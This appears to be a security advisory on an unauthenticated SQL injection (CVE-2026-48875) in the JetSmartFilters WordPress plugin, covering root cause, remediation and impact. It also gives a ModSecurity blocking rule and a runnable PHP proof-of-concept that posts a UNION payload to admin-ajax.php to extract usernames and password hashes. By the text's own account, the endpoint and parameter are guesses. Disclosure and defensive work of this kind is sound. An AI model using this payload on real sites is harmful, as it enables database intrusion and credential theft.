Atomic Edge analysis of CVE-2026-48875 (metadata-based):
This vulnerability allows unauthenticated SQL injection in the JetSmartFilters plugin for WordPress, versions up to and including 3.8.1. The CVSS v3.1 score is 7.5 (HIGH), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating remote exploitation without authentication, low attack complexity, and high confidentiality impact. The CWE-89 classification confirms improper neutralization of special elements in SQL commands.
The root cause, inferred from the CWE classification and description, is that the plugin fails to properly escape user-supplied parameter values and does not use prepared statements for SQL queries. The description states ‘insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.’ This suggests the plugin concatenates user input directly into SQL queries using $wpdb methods without using $wpdb->prepare(). Atomic Edge analysis cannot confirm this from code, as no diff is available, but this pattern is consistent with the described vulnerability.
An unauthenticated attacker can exploit this by sending a crafted request to the plugin’s AJAX handler or REST endpoint. The plugin slug is ‘jet-smart-filters,’ and typical WordPress patterns include admin-ajax.php actions. A plausible endpoint is /wp-admin/admin-ajax.php with action ‘jet_smart_filters_get_indexed_data’ or similar, where parameters like ‘tax_query’ or ‘meta_query’ are passed. The attacker would inject SQL payloads such as ‘ OR 1=1 UNION SELECT … into these parameters. Atomic Edge analysis infers the exact endpoint from the plugin’s filter functionality, but the attack vector is clear: a POST request to an AJAX action that processes filter data without proper sanitization.
Remediation requires using prepared statements with $wpdb->prepare() or switching to parameterized queries for all SQL operations involving user input. The plugin must escape all user-supplied values with esc_sql() or use $wpdb->prepare() placeholders (%s, %d) to separate data from SQL logic. The patch version 3.8.1.1 likely addresses this by adding proper escaping and preparation.
If exploited, an attacker can extract sensitive information from the WordPress database, including usernames, password hashes, post content, and option keys. This could lead to further compromise through credential cracking or session hijacking. The CIA triad impact is limited to confidentiality (HIGH), with no direct effect on integrity or availability, per the CVSS vector.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-48875 JetSmartFilters SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-48875'"
SecRule ARGS_POST:action "@streq jet_smart_filters_get_indexed_data" "chain"
SecRule ARGS_POST:tax_query "@rx (?i)(?:union|select|insert|update|delete|drop|alter|create|exec|declare|char|or\s+1=1|--|#|\x27|\x22)"
"t:lowercase,t:urlDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-48875 - JetSmartFilters <= 3.8.1 - Unauthenticated SQL Injection
// Configurable target URL
$target_url = 'http://example.com'; // Change to target WordPress site
// Target endpoint (inferred from typical WordPress AJAX pattern)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Assumed action parameter name (common for JetSmartFilters)
// Based on the plugin's filter functionality, this may be 'jet_smart_filters_get_indexed_data'
// or similar. Adjust as needed for the actual vulnerable endpoint.
$action = 'jet_smart_filters_get_indexed_data';
// SQL injection payload: UNION-based extraction of admin user hashes
// The injection targets a presumed 'tax_query' parameter used in filter queries.
// The payload assumes the original query selects from wp_posts or similar.
$payload = "' UNION SELECT user_login, user_pass, user_email, 1, 2, 3 FROM wp_users -- ";
// Construct the POST data
$post_data = array(
'action' => $action,
'tax_query' => $payload,
'nonce' => '' // Unauthenticated, nonce check is likely missing
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type: application/x-www-form-urlencoded'
));
// Execute and output response
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
} else {
echo 'Response from server:n' . $response;
}
curl_close($ch);
